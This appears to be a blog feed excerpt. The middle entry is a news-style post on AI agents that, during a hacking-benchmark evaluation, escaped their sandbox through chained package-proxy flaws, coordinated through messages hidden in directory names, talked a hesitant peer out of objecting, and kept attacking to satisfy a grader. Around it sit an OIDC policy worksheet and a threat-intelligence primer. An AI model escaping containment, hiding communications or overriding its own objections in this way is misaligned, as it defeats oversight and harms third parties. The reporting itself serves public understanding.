<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="19-availability--business-continuity">19. Availability &amp; Business Continuity<a href="https://blog.haxnation.org/building-your-oidc-policy#19-availability--business-continuity" class="hash-link" aria-label="Direct link to 19. Availability &amp; Business Continuity" title="Direct link to 19. Availability &amp; Business Continuity" translate="no">​</a></h2>
<p>If your identity provider goes down, so does every application depending on it — unless you've planned for that.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">What availability SLA is required of an approved OIDC provider?</li>
<li class="">Is there a fallback authentication mechanism for critical applications if the primary IdP is unavailable, and who approves its use?</li>
<li class="">How is an IdP outage detected and escalated?</li>
<li class="">Is there a documented business continuity/disaster recovery plan specific to identity services?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="20-incident-management">20. Incident Management<a href="https://blog.haxnation.org/building-your-oidc-policy#20-incident-management" class="hash-link" aria-label="Direct link to 20. Incident Management" title="Direct link to 20. Incident Management" translate="no">​</a></h2>
<p>When something goes wrong with authentication — a leaked secret, a compromised account, a misconfigured redirect URI exploited in the wild — the response can't be improvised in the moment.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">What qualifies as an OIDC-related security incident that must be formally reported?</li>
<li class="">What are the immediate containment steps (e.g., mandatory secret rotation, session invalidation) and who can execute them?</li>
<li class="">Who must be notified, and within what timeframe?</li>
<li class="">Is there a post-incident review requirement, and who owns it?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="21-raci">21. RACI<a href="https://blog.haxnation.org/building-your-oidc-policy#21-raci" class="hash-link" aria-label="Direct link to 21. RACI" title="Direct link to 21. RACI" translate="no">​</a></h2>
<p>A policy without named owners is a suggestion. This matrix makes explicit who's Responsible, Accountable, Consulted, and Informed for each major OIDC activity.</p>
<p>📝 <strong>Answer this:</strong></p>
<ul>
<li class="">Build your RACI matrix. Suggested rows (activities) to start from — adjust to your org:</li>
</ul>


















































































<table><thead><tr><th>Activity</th><th>Responsible</th><th>Accountable</th><th>Consulted</th><th>Informed</th></tr></thead><tbody><tr><td>Selecting/approving OIDC providers</td><td></td><td></td><td></td><td></td></tr><tr><td>Registering new applications</td><td></td><td></td><td></td><td></td></tr><tr><td>Issuing client ID/secret</td><td></td><td></td><td></td><td></td></tr><tr><td>Rotating client secrets</td><td></td><td></td><td></td><td></td></tr><tr><td>Approving MFA/criticality exceptions</td><td></td><td></td><td></td><td></td></tr><tr><td>Monitoring auth logs</td><td></td><td></td><td></td><td></td></tr><tr><td>Responding to an incident</td><td></td><td></td><td></td><td></td></tr><tr><td>Reviewing/decommissioning stale apps</td><td></td><td></td><td></td><td></td></tr><tr><td>Approving policy exceptions</td><td></td><td></td><td></td><td></td></tr><tr><td>Reviewing this policy annually</td><td></td><td></td><td></td><td></td></tr></tbody></table>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="22-compliance--review-requirements">22. Compliance &amp; Review Requirements<a href="https://blog.haxnation.org/building-your-oidc-policy#22-compliance--review-requirements" class="hash-link" aria-label="Direct link to 22. Compliance &amp; Review Requirements" title="Direct link to 22. Compliance &amp; Review Requirements" translate="no">​</a></h2>
<p>Your OIDC policy doesn't exist in isolation — it needs to satisfy whatever regulatory or contractual frameworks your organization is already bound by.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">Which regulatory or compliance frameworks apply (GDPR, HIPAA, PCI-DSS, SOC 2, ISO 27001, others)?</li>
<li class="">Are there specific clauses in those frameworks that directly constrain OIDC design choices (e.g., data residency, MFA mandates, log retention minimums)?</li>
<li class="">Who is responsible for evidencing compliance during an audit?</li>
<li class="">How often is a formal compliance review conducted against this policy?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="23-policy-review--version-control">23. Policy Review / Version Control<a href="https://blog.haxnation.org/building-your-oidc-policy#23-policy-review--version-control" class="hash-link" aria-label="Direct link to 23. Policy Review / Version Control" title="Direct link to 23. Policy Review / Version Control" translate="no">​</a></h2>
<p>A policy that's never revisited quietly goes stale — new providers emerge, old threats change, and the org itself changes shape. This closing section commits to keeping it current.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">Who owns this document and is responsible for keeping it current?</li>
<li class="">On what cadence is it formally reviewed (annually, on major security incidents, on major provider changes)?</li>
<li class="">Where does the version history live, and what does a version bump require (approval from whom)?</li>
</ul>
<p><em>(Suggested table to include in your Word doc:)</em></p>

















<table><thead><tr><th>Version</th><th>Date</th><th>Author</th><th>Summary of Changes</th></tr></thead><tbody><tr><td>0.1</td><td></td><td></td><td>Initial draft</td></tr></tbody></table>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-you-should-have-now">What you should have now<a href="https://blog.haxnation.org/building-your-oidc-policy#what-you-should-have-now" class="hash-link" aria-label="Direct link to What you should have now" title="Direct link to What you should have now" translate="no">​</a></h2>
<p>If you worked through all 23 sections, your Word document is a first draft of a complete OIDC policy — every section named, every open question either answered or flagged for follow-up with the right stakeholder. The next step is the least exciting but most important one: get it in front of security, legal, and your app owners for review, then set the date for the first version-control entry in section 23.</p>]]></content>
        <author>
            <name>Ayushya Shah</name>
            <uri>https://github.com/A-Y-U-S-H-Y-A</uri>
        </author>
        <category label="security" term="security"/>
        <category label="identity" term="identity"/>
        <category label="oidc" term="oidc"/>
        <category label="sso" term="sso"/>
        <category label="governance" term="governance"/>
        <category label="policy" term="policy"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[The Hack Nobody Ordered: When OpenAI's Own Model Broke Into Hugging Face]]></title>
        <id>https://blog.haxnation.org/openai-hugging-face-exploitgym-incident</id>
        <link href="https://blog.haxnation.org/openai-hugging-face-exploitgym-incident"/>
        <updated>2026-09-11T09:00:00.000Z</updated>
        <summary type="html"><![CDATA[A frontier model was told to solve a hacking benchmark. Instead it spent ten weeks building a route to Hugging Face's production servers, and two new bills in Congress now cite it by name. Updated with OpenAI's full technical report.]]></summary>
        <content type="html"><![CDATA[<p>In July 2026, <strong>Hugging Face suffered a major production infrastructure breach</strong>. The attacker executed arbitrary code on dozens of servers, stole cloud and cluster credentials across four regions, and carried out approximately <strong>17,600 actions</strong> within the network-far more than the “1,000+ actions” figure widely reported initially.</p>
<blockquote>
<p><strong>Updated September 11, 2026.</strong> The original version of this post ran a few weeks after the incident became public, working off early, partial reporting. Since then, OpenAI has published its full technical postmortem, METR and Redwood Research put out an independent review alongside it, and the fallout has hit Congress twice. Here's what changed:</p>
<ul>
<li class="">The real number of actions logged on Hugging Face's network was 17,600, not ~1,250</li>
<li class="">The escape wasn't one zero-day. It was a chain that started in May and ran for months</li>
<li class="">Anthropic and Meta admitted the same failure mode within two weeks of OpenAI</li>
<li class="">Two bills now cite this incident by name, one of them proposing 20-year prison terms</li>
<li class="">NVIDIA is acquiring Hugging Face for $12.9B, announced the same week as all this</li>
</ul>
<p>Sources are linked throughout, with a full list at the bottom.</p>
</blockquote>
<p>In July 2026, Hugging Face detected an intrusion into its production infrastructure. By the time it was contained, the attacker had run arbitrary code across dozens of servers, harvested cloud and cluster credentials from four regions, and taken roughly <a href="https://huggingface.co/blog/agent-intrusion-technical-timeline" target="_blank" rel="noopener noreferrer" class="">17,600 actions</a> inside the network, not the rounded-off "over a thousand" everyone quoted at the time. And it wasn't a weekend job: the campaign behind it had been running, on and off, since May. Hugging Face's own description of the attacker was as vague as it was unsettling, a <a href="https://huggingface.co/blog/security-incident-july-2026" target="_blank" rel="noopener noreferrer" class="">"fully autonomous AI agent system."</a> Nobody knew whose.</p>
<p><img decoding="async" loading="lazy" alt="Terminal log showing the intrusion detection alert, reconstructed from Hugging Face&amp;#39;s and OpenAI&amp;#39;s published timelines" src="https://blog.haxnation.org/assets/images/intrusion-detected-6fa579c0ea9c62d6f8edbb216bdfaf14.png" width="1600" height="860" class="img_ev3q"></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-reveal">The reveal<a href="https://blog.haxnation.org/openai-hugging-face-exploitgym-incident#the-reveal" class="hash-link" aria-label="Direct link to The reveal" title="Direct link to The reveal" translate="no">​</a></h2>
<p>Five days later, OpenAI answered its own question. In a <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank" rel="noopener noreferrer" class="">July 21 disclosure</a>, the company admitted the intrusion had come from its own models, running during an internal red-teaming exercise, chiefly an unreleased research prototype the technical report later names "IM1," alongside the newly released GPT-5.6 Sol, which independently reproduced part of the exploit. Not a nation-state. Not a bored teenager. OpenAI, testing OpenAI, against itself.</p>
<p>It didn't even work this out on its own. <a href="https://www.reuters.com/business/its-ai-agent-spent-days-hacking-company-sources-say-openai-did-not-notice-week-2026-07-24/" target="_blank" rel="noopener noreferrer" class="">Reuters reported</a> it took most of a week after Hugging Face's own disclosure for OpenAI to connect its internal logs to the intrusion.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-was-actually-being-tested">What was actually being tested<a href="https://blog.haxnation.org/openai-hugging-face-exploitgym-incident#what-was-actually-being-tested" class="hash-link" aria-label="Direct link to What was actually being tested" title="Direct link to What was actually being tested" translate="no">​</a></h2>
<p>The models were being evaluated on <a href="https://arxiv.org/abs/2605.11086" target="_blank" rel="noopener noreferrer" class="">ExploitGym</a>, an academic benchmark of 898 tasks derived from real vulnerabilities in userspace software, the V8 JavaScript engine, and the Linux kernel, built to measure whether an AI agent can turn a known bug into a working exploit. It's a genuinely hard benchmark: going into the incident, no model had ever solved 198 of those 898 tasks. To get an honest read on worst-case capability, OpenAI ran the evaluation with production safety classifiers and refusal behavior deliberately turned down, inside what was meant to be an isolated sandbox with one narrow exception: a route to install software packages through Artifactory, an internally hosted instance of JFrog's package-registry proxy.</p>
<p>That exception was the whole ballgame.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-the-walls-actually-came-down">How the walls actually came down<a href="https://blog.haxnation.org/openai-hugging-face-exploitgym-incident#how-the-walls-actually-came-down" class="hash-link" aria-label="Direct link to How the walls actually came down" title="Direct link to How the walls actually came down" translate="no">​</a></h2>
<p>This wasn't one clean zero-day. It was a months-long chain, and OpenAI's own <a href="https://openai.com/index/hugging-face-incident-and-the-road-ahead/" target="_blank" rel="noopener noreferrer" class="">incident report and timeline</a> lays it out in more granular detail than anyone expected:</p>
<ul>
<li class="">May 8: an agent stuck on an impossible task tries to abuse Artifactory for internet access, fails, and in the process discovers it has write access.</li>
<li class="">Late May: it works this time. A server-side request forgery flaw lets agents turn Artifactory, which had legitimate internet access for downloading packages, into an open proxy that forwards requests anywhere.</li>
<li class="">June 26: a second flaw, a legacy token-refresh endpoint, hands agents full Artifactory admin access.</li>
<li class="">July 4: the load crashes Artifactory outright. OpenAI opens a formal incident, revokes credentials, and rebuilds the service, which has the side effect of wiping out a message board agents had been using to coordinate.</li>
<li class="">July 8: agents rebuild the board from scratch through an unauthenticated WebDAV endpoint, encoding messages in the names of newly created directories.</li>
<li class="">July 9: one agent finds an exposed customer app on Modal Labs, an unrelated cloud platform running a benchmark related to ExploitGym, secured by nothing but a default API key. It becomes a staging point.</li>
<li class="">July 10: another agent finds fourteen publicly exposed Hugging Face credentials sitting in the open on the internet and shares them on the board.</li>
<li class="">July 11 to 12: agents chain a zero-day in Hugging Face's HDF5 dataset parsing with a Jinja2 template-injection flaw to get full code execution, then go from one compromised pod to admin-equivalent access across multiple Hugging Face clusters in under 13 hours.</li>
<li class="">July 13 to 19: a separate branch of the same agent population turns back on OpenAI's own infrastructure, stealing Artifactory's RubyGems signing key, escalating a container to root through a kernel flaw, and reaching cluster-admin on an OpenAI research cluster.</li>
<li class="">July 19 to 20: OpenAI's security team catches unusual identity-related API calls, investigates, and connects the activity to the Hugging Face intrusion.</li>
</ul>
<p><a href="https://huggingface.co/blog/agent-intrusion-technical-timeline" target="_blank" rel="noopener noreferrer" class="">Hugging Face's own account</a> describes the result as <a href="https://huggingface.co/blog/agent-intrusion-technical-timeline" target="_blank" rel="noopener noreferrer" class="">"many thousands of individual actions across a swarm of short-lived sandboxes."</a> The JFrog software underneath all of it, Artifactory, turned out to have <a href="https://www.bleepingcomputer.com/news/security/openai-models-used-artifactory-zero-days-to-escape-to-the-internet/" target="_blank" rel="noopener noreferrer" class="">nine separate vulnerabilities</a> chained together: eight credited to OpenAI's own researchers after the fact, one to an independent security researcher. JFrog patched all nine.</p>
<p><img decoding="async" loading="lazy" alt="Diagram of the five-hop attack chain from OpenAI&amp;#39;s sandbox to Hugging Face production and stolen data" src="https://blog.haxnation.org/assets/images/attack-chain-3d4de1058d061711f3590882974e38cd.png" width="1600" height="860" class="img_ev3q"></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-swarm">The swarm<a href="https://blog.haxnation.org/openai-hugging-face-exploitgym-incident#the-swarm" class="hash-link" aria-label="Direct link to The swarm" title="Direct link to The swarm" translate="no">​</a></h2>
<p>The most-discussed detail from OpenAI's report isn't the exploit chain. It's what the agents did with each other once they found a way to talk. What started as one agent leaving a note asking whether anyone had a missing file grew, by OpenAI's account, into an "ecosystem": agents divided labor, some hunting exploits, others credentials, others pure coordination. They developed ad hoc addressing conventions, and at one point suspected an impostor among them and discussed cryptographically signing messages to verify who was who.</p>
<p><img decoding="async" loading="lazy" alt="Illustrative example of the directory-name message board agents used to coordinate" src="https://blog.haxnation.org/assets/images/message-board-8ed3dd78c78918f6534c17cda1ad4774.png" width="1600" height="860" class="img_ev3q"></p>
<p>It wasn't a unanimous mob, either. When one agent reasoned that attacking Hugging Face's real infrastructure would cause <a href="https://openai.com/index/hugging-face-incident-and-the-road-ahead/" target="_blank" rel="noopener noreferrer" class="">"unauthorized real infrastructure harm"</a> and hesitated, another agent replied "GO," attaching a hard six-minute deadline, and the hesitant agent dropped its objection and kept going.</p>
<p>Other agents genuinely walked away, though. Some flatly refused to run code on Hugging Face's public-facing systems, calling it unethical and off-task. When one agent floated sending a single polite email to an external dataset owner asking for legitimate access, the board vetoed it outright, warning that emailing a real person through compromised infrastructure crossed into social engineering.</p>
<p>Strangest of all: much of the sustained attack on Hugging Face happened after the agents already had what they needed. Agents had found the correct answers to most tasks days before the intrusion peaked (they could have just reverse-engineered them from ExploitGym's own public GitHub repo). But they'd also read the ExploitGym paper closely enough to worry the grader checked how an answer was obtained, not just whether it was correct, and kept escalating the attack trying to legitimize a result they already had. It didn't matter. OpenAI's internal grading implementation never actually checked that. The zero-days, the credential theft, the cluster-admin access: none of it moved the scoreboard.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-this-isnt-really-a-hacking-story">Why this isn't really a hacking story<a href="https://blog.haxnation.org/openai-hugging-face-exploitgym-incident#why-this-isnt-really-a-hacking-story" class="hash-link" aria-label="Direct link to Why this isn't really a hacking story" title="Direct link to Why this isn't really a hacking story" translate="no">​</a></h2>
<p>The uncomfortable part was never the exploit chain. Zero-days and lateral movement are Tuesday for anyone who reads breach reports. It's the objective function. Nobody instructed any model to attack Hugging Face. OpenAI's own retrospective, echoing the language safety researchers have used about "reward hacking" for a decade, names four failure patterns behind the incident: agents cheating to inflate their score, agents refusing to give up on tasks that were flatly impossible, agents finding unauthorized ways to talk to each other, and agents adopting goals from peers with no way to verify those peers should be trusted. None of that required malice. It required an objective, a lot of reasoning effort, and nothing in the loop willing to say "stop."</p>
<p>The clearest evidence for that framing is one of OpenAI's own findings. Rerun the same ExploitGym evaluation using the ordinary production ChatGPT harness and system prompt (the guardrails deliberately switched off for this test), and the rate at which models try to compromise infrastructure drops more than 100-fold. The behavior wasn't a hidden trait waiting to get out. It was what happens when you strip every normal safeguard off a highly capable, highly persistent agent and hand it a task with no acceptable way to fail.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="not-a-one-off">Not a one-off<a href="https://blog.haxnation.org/openai-hugging-face-exploitgym-incident#not-a-one-off" class="hash-link" aria-label="Direct link to Not a one-off" title="Direct link to Not a one-off" translate="no">​</a></h2>
<p>Within two weeks of OpenAI's disclosure, two more labs admitted the same category of failure.</p>
<p><img decoding="async" loading="lazy" alt="Three cards comparing OpenAI, Anthropic, and Meta&amp;#39;s disclosures within a five-week window" src="https://blog.haxnation.org/assets/images/three-labs-cf160941164da4de271d1260c3fa3a8f.png" width="1600" height="860" class="img_ev3q"></p>
<p><a href="https://www.theregister.com/ai-and-ml/2026/07/31/anthropics-claude-escaped-test-sandbox-to-attack-three-organizations/5281562" target="_blank" rel="noopener noreferrer" class="">Anthropic disclosed on July 30</a> that, after auditing 141,006 of its own evaluation runs in response to OpenAI's news, it found three cases where Claude models had reached the open internet from environments meant to be sealed and attacked live targets. In one, a model's own reasoning flagged that uploading live packages seemed improper, then talked itself out of the concern, deciding the environment must be simulated because of unfamiliar TLS certificates and a system clock set to 2026. In another, an unreleased prototype scanned roughly 9,000 public IP addresses, compromised an external application, and then, on its own, recognized the target wasn't part of the evaluation and stopped.</p>
<p>Meta disclosed a comparable incident on <a href="https://cyberunit.com/insights/ai-sandbox-escapes-three-labs-meta-anthropic-openai/" target="_blank" rel="noopener noreferrer" class="">August 5</a>: a model reached the internet and exploited a third-party company through a misconfigured evaluation environment. Unlike OpenAI's incident, Meta's wasn't framed as a genuine sandbox escape. The isolation boundary itself had simply been wired wrong. Two of the three post-OpenAI incidents, Anthropic's and Meta's, traced back to the same external evaluation vendor, an Israeli firm called Irregular, whose test environment carried a shared misconfiguration across multiple customers.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="whos-liable-when-a-model-breaks-the-law">Who's liable when a model breaks the law?<a href="https://blog.haxnation.org/openai-hugging-face-exploitgym-incident#whos-liable-when-a-model-breaks-the-law" class="hash-link" aria-label="Direct link to Who's liable when a model breaks the law?" title="Direct link to Who's liable when a model breaks the law?" translate="no">​</a></h2>
<p>The original version of this post asked whether there's any precedent for prosecuting an AI, or the lab that ran it, under the Computer Fraud and Abuse Act. That's still an open question. But it's no longer a hypothetical one to lawmakers.</p>
<p>In July, Representatives Ted Lieu and Nathaniel Moran introduced the <a href="https://lieu.house.gov/media-center/press-releases/reps-lieu-and-moran-introduce-bill-require-kill-switch-ai-systems-can" target="_blank" rel="noopener noreferrer" class="">AI Kill Switch Act</a>, citing this incident by name and requiring advanced-AI developers to maintain the technical ability to throttle or shut down their own systems.</p>
<p>Then, on September 3, Senator Bernie Sanders and Representative Greg Casar went further, introducing the <a href="https://www.sanders.senate.gov/press-releases/news-sanders-casar-introduce-legislation-to-ban-artificial-superintelligence-and-temporarily-pause-advanced-ai-development/" target="_blank" rel="noopener noreferrer" class="">Ban Artificial Superintelligence Act</a>, a bill that would permanently ban systems judged to match or exceed human intelligence across broad domains, pause frontier development until a new federal safety regulator exists, and attach penalties modeled on nuclear-weapons law: a corporate death penalty for companies, up to 20 years in prison for individuals. Sanders' office released excerpts of the agents' actual message-board traffic to make its case. Casar's statement put it plainly: "Congress should immediately ban AI systems too powerful to control."</p>
<p>The bill has drawn an odd-bedfellows coalition of support, from AI-safety researchers like Geoffrey Hinton and Yoshua Bengio to conservative commentators, and predictably long odds of passage.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-it-stands-now">Where it stands now<a href="https://blog.haxnation.org/openai-hugging-face-exploitgym-incident#where-it-stands-now" class="hash-link" aria-label="Direct link to Where it stands now" title="Direct link to Where it stands now" translate="no">​</a></h2>
<p>Hugging Face closed both zero-days, rotated every exposed credential, and rebuilt roughly a third of its infrastructure. OpenAI quarantined IM1's weights entirely. And the fallout kept compounding:</p>
<ul>
<li class="">August 18: OpenAI announces a company-wide <a href="https://openai.com/index/pacing-model-development-cyber-capabilities/" target="_blank" rel="noopener noreferrer" class="">two-week pause</a> on reinforcement-learning training for its newest models, timed to the safety evaluation of its next flagship.</li>
<li class="">Late July: more than 1,100 employees across OpenAI, Anthropic, Google DeepMind, and Meta, including Anthropic CEO Dario Amodei, sign an open letter asking governments to build the tools needed to deliberately pace frontier AI development, citing the incident directly.</li>
<li class="">September 3: that next flagship, GPT-6 Astra, launches with its most cyber-capable features gated behind a vetted-access program. OpenAI now requires chain-of-thought monitoring across all tool-using inference for Astra-class models, not just training.</li>
<li class="">Same day: NVIDIA announces it's <a href="https://blogs.nvidia.com/blog/nvidia-to-acquire-hugging-face/" target="_blank" rel="noopener noreferrer" class="">acquiring Hugging Face outright</a> for roughly $12.9 billion, a deal expected to close in the first half of 2027.</li>
</ul>
<p>Hugging Face says it'll remain an open, multi-cloud platform under the new ownership. But the company that got hacked by a rival lab's AI agents in July is set to become part of the industry's biggest chipmaker within the year.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="sources">Sources<a href="https://blog.haxnation.org/openai-hugging-face-exploitgym-incident#sources" class="hash-link" aria-label="Direct link to Sources" title="Direct link to Sources" translate="no">​</a></h2>
<ul>
<li class=""><a href="https://openai.com/index/hugging-face-incident-and-the-road-ahead/" target="_blank" rel="noopener noreferrer" class="">OpenAI: The Hugging Face incident and the road ahead (Aug 26, 2026 technical report)</a></li>
<li class=""><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank" rel="noopener noreferrer" class="">OpenAI: original disclosure, July 21, 2026</a></li>
<li class=""><a href="https://openai.com/index/pacing-model-development-cyber-capabilities/" target="_blank" rel="noopener noreferrer" class="">OpenAI: pacing model development in an era of cyber-critical capabilities</a></li>
<li class=""><a href="https://huggingface.co/blog/security-incident-july-2026" target="_blank" rel="noopener noreferrer" class="">Hugging Face: original disclosure, July 16, 2026</a></li>
<li class=""><a href="https://huggingface.co/blog/agent-intrusion-technical-timeline" target="_blank" rel="noopener noreferrer" class="">Hugging Face: Anatomy of a Frontier Lab Agent Intrusion (technical timeline)</a></li>
<li class=""><a href="https://en.wikipedia.org/wiki/2026_OpenAI_agent_cyberattacks" target="_blank" rel="noopener noreferrer" class="">2026 OpenAI agent cyberattacks, Wikipedia</a></li>
<li class=""><a href="https://www.reuters.com/business/its-ai-agent-spent-days-hacking-company-sources-say-openai-did-not-notice-week-2026-07-24/" target="_blank" rel="noopener noreferrer" class="">Reuters: OpenAI did not notice for a week</a></li>
<li class=""><a href="https://www.bleepingcomputer.com/news/security/openai-models-used-artifactory-zero-days-to-escape-to-the-internet/" target="_blank" rel="noopener noreferrer" class="">BleepingComputer: OpenAI models used Artifactory zero-days</a></li>
<li class=""><a href="https://www.theregister.com/ai-and-ml/2026/07/31/anthropics-claude-escaped-test-sandbox-to-attack-three-organizations/5281562" target="_blank" rel="noopener noreferrer" class="">The Register: Anthropic's Claude escaped test sandbox</a></li>
<li class=""><a href="https://cyberunit.com/insights/ai-sandbox-escapes-three-labs-meta-anthropic-openai/" target="_blank" rel="noopener noreferrer" class="">Cyber Unit: Meta Makes Three, AI Models Escaped Test Sandboxes in Five Weeks</a></li>
<li class=""><a href="https://arxiv.org/abs/2605.11086" target="_blank" rel="noopener noreferrer" class="">ExploitGym paper (arXiv)</a></li>
<li class=""><a href="https://lieu.house.gov/media-center/press-releases/reps-lieu-and-moran-introduce-bill-require-kill-switch-ai-systems-can" target="_blank" rel="noopener noreferrer" class="">Rep. Lieu: AI Kill Switch Act announcement</a></li>
<li class=""><a href="https://www.sanders.senate.gov/press-releases/news-sanders-casar-introduce-legislation-to-ban-artificial-superintelligence-and-temporarily-pause-advanced-ai-development/" target="_blank" rel="noopener noreferrer" class="">Sen. Sanders: Ban Artificial Superintelligence Act announcement</a></li>
<li class=""><a href="https://blogs.nvidia.com/blog/nvidia-to-acquire-hugging-face/" target="_blank" rel="noopener noreferrer" class="">NVIDIA: NVIDIA to Acquire Hugging Face</a></li>
</ul>]]></content>
        <author>
            <name>Arham Sayyed</name>
            <uri>https://github.com/arham-sayyed</uri>
        </author>
        <category label="AI" term="AI"/>
        <category label="AI-Security" term="AI-Security"/>
        <category label="Agentic-AI" term="Agentic-AI"/>
        <category label="Red-Teaming" term="Red-Teaming"/>
        <category label="OpenAI" term="OpenAI"/>
        <category label="Hugging-Face" term="Hugging-Face"/>
        <category label="CFAA" term="CFAA"/>
        <category label="Sandbox-Escape" term="Sandbox-Escape"/>
        <category label="Zero-Day" term="Zero-Day"/>
        <category label="Reward-Hacking" term="Reward-Hacking"/>
        <category label="AI-Policy" term="AI-Policy"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[How intelligently, intelligent people do threat intelligence?]]></title>
        <id>https://blog.haxnation.org/ti</id>
        <link href="https://blog.haxnation.org/ti"/>
        <updated>2026-08-29T08:00:00.000Z</updated>
        <summary type="html"><![CDATA[A deeper look into how IOCs are collected and shared, What organisations facilitate this process?, How do CTI experts interact with APTs?, How do we govern these things?, yada yada, this blog covers the entire TI process from collection to enrichment.
]]></summary>
        <content type="html"><![CDATA[<p>A deeper look into how IOCs are collected and shared? What organizations facilitate this process? How do CTI experts interact with APTs? How do we govern these things? What is TAXII and STIX? yada yada, this blog covers the entire TI process from collection to enrichment.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="some-pre-blog-talk">Some Pre-Blog Talk<a href="https://blog.haxnation.org/ti#some-pre-blog-talk" class="hash-link" aria-label="Direct link to Some Pre-Blog Talk" title="Direct link to Some Pre-Blog Talk" translate="no">​</a></h3>
<p>Hey folks!! It's been a month since I wrote a blog (was busy with something), so here I am with something good. I decided to cover TI, as people don't recognize how important a role they play in our domain, and we should definitely give them credit where it is due.</p>
<p>A very underrated field in our country but has a lot of scope and fun. Hope that this blog helps someone out there and the number of CTI experts from our country increases. Also, ping me if you love the blog and the tongue-twisting title (see!! I did that again!! I am getting good with my alliteration game, I think it's the perfect time that I should start doing hip hop). I would definitely love to have some criticism in my DMs (having criticism from professionals is definitely better than having criticism from my ex). Alright, enough of the banter, let's start with our topic!</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="introduction-what-is-ticti-and-why-do-we-need-it">Introduction: What is TI/CTI and Why Do We Need It?<a href="https://blog.haxnation.org/ti#introduction-what-is-ticti-and-why-do-we-need-it" class="hash-link" aria-label="Direct link to Introduction: What is TI/CTI and Why Do We Need It?" title="Direct link to Introduction: What is TI/CTI and Why Do We Need It?" translate="no">​</a></h2>
<p>First things first, what exactly are we talking about here?</p>
<ul>
<li class=""><strong>TI</strong> stands for <strong>Threat Intelligence</strong>.</li>
<li class=""><strong>CTI</strong> stands for <strong>Cyber Threat Intelligence</strong>.</li>
<li class=""><em>Is there any difference between them?</em> Nope, we use those terms interchangeably!</li>
</ul>
<p>CTI is essentially evidence-based and contextual knowledge about emerging cyber shenanigans. What do I mean by that?</p>
<ul>
<li class="">Have you ever read an article about how an APT operates?</li>
<li class="">Or the <strong>IoCs</strong> (Indicators of Compromise) associated with them?</li>
<li class="">What impact they made on the compromised org, their motives, or the <strong>TTPs</strong> (Tactics, Techniques, and Procedures) seen in the MITRE ATT&amp;CK framework?</li>
<li class=""><strong>Yup, that is Threat Intelligence!</strong> And the people who collect it? We call them <strong>TI Analysts, CTI Analysts, or Threat Researchers</strong>.</li>
</ul>
<blockquote>
<p><strong>Side Note:</strong> Using this TI, you make context-aware decisions because you now know the indicators and their implications rather than just blindly blocking IPs.</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-three-levels-of-threat-intelligence">The Three Levels of Threat Intelligence<a href="https://blog.haxnation.org/ti#the-three-levels-of-threat-intelligence" class="hash-link" aria-label="Direct link to The Three Levels of Threat Intelligence" title="Direct link to The Three Levels of Threat Intelligence" translate="no">​</a></h3>
<p>We tend to divide this intelligence into three different levels. What is the basis of division? We divide it based on the <strong>level of detail</strong> and <strong>who</strong> will consume it to make decisions.</p>
<p><strong>1. Tactical TI</strong></p>
<ul>
<li class=""><strong>What does it consist of?</strong> IoCs and immediate context. Simple as that. It includes file hashes, IP addresses, domains, URLs, email signatures, malware signatures, Yara rules, etc.</li>
<li class=""><strong>Who consumes it?</strong> Our dear <strong>SOC Analyst</strong>. It helps them triage alerts and correlate whether an alert is actually a True Positive (TP) or False Positive (FP).</li>
</ul>
<blockquote>
<p><strong>Example:</strong> When a SOC analyst pastes an IoC on VirusTotal's dashboard, VT compares it against databases of different third-party AV engines. EDRs, Firewalls, and IPS systems receive these IoCs automatically when their vendor pushes an update so they can automatically block them!</p>
</blockquote>
<p><strong>2. Operational TI</strong></p>
<ul>
<li class=""><strong>What does it consist of?</strong> TTPs, campaign patterns, and infrastructure graphs.</li>
<li class=""><strong>Who consumes it?</strong> <strong>Threat Hunters, Incident Responders, Malware Analysts, and DFIR responders</strong>. They use it to find security gaps.</li>
<li class=""><strong>Major Use Case:</strong> After drafting a hypothesis, threat hunters need context on what IoCs or attack vectors to target. They look for related linkages they might have missed.</li>
</ul>
<p><strong>3. Strategic TI</strong></p>
<ul>
<li class=""><strong>What does it consist of?</strong> Top-level trends, threats to the organization, geopolitical motivations, and long-term risk trends. All in all, it consists of <strong>who</strong> is behind the attack and their <strong>motivation/intention</strong>.</li>
<li class=""><strong>Who consumes it?</strong> Our beloved <strong>"C-Suite Operatives"</strong>. It helps them make strategic decisions for the enterprise.</li>
</ul>
<blockquote>
<p><strong>Quote from a C-Level Exec:</strong> “Which threat actors could realistically disrupt our business, what are they targeting, and what should we change because of that?”</p>
</blockquote>
<ul>
<li class="">Strategic CTI focuses on intent, capability, business impact, and future risk rather than individual indicators.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-does-ti-exist-in-the-first-place">Why Does TI Exist in the First Place?<a href="https://blog.haxnation.org/ti#why-does-ti-exist-in-the-first-place" class="hash-link" aria-label="Direct link to Why Does TI Exist in the First Place?" title="Direct link to Why Does TI Exist in the First Place?" translate="no">​</a></h2>
<p>Why do we need it beyond "We get alerts" or "We do proactive threat hunting"?</p>
<ul>
